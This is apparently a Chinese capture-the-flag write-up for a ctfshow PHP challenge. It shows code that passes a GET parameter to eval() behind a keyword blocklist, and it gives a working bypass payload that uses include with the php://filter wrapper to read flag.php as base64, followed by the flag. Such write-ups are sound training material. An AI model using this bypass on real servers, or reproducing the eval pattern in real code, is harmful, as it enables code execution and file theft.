1. 代码审计

      1. <?php
      2. error_reporting(0);
      3. if(isset($_GET['c'])){
      4. $c = $_GET['c'];
      5. if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
      6. eval($c);
      7. }
      8. //过滤flag,system,php,cat,sort,shell,点号,空格,单引号,反撇号,echo,(
      9. }else{
      10. highlight_file(__FILE__);
      11. }
    2. 用上一题的方法,嵌套包含flag.php文件逃逸出来

    ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
    
    #php://filter参考文件包含漏洞中的php伪协议
    
    #得到的文字base64再解码
    ctfshow{2bf658c1-4a45-4dea-8ecd-6379c4f22abf}
    

    image-20210608202154453.png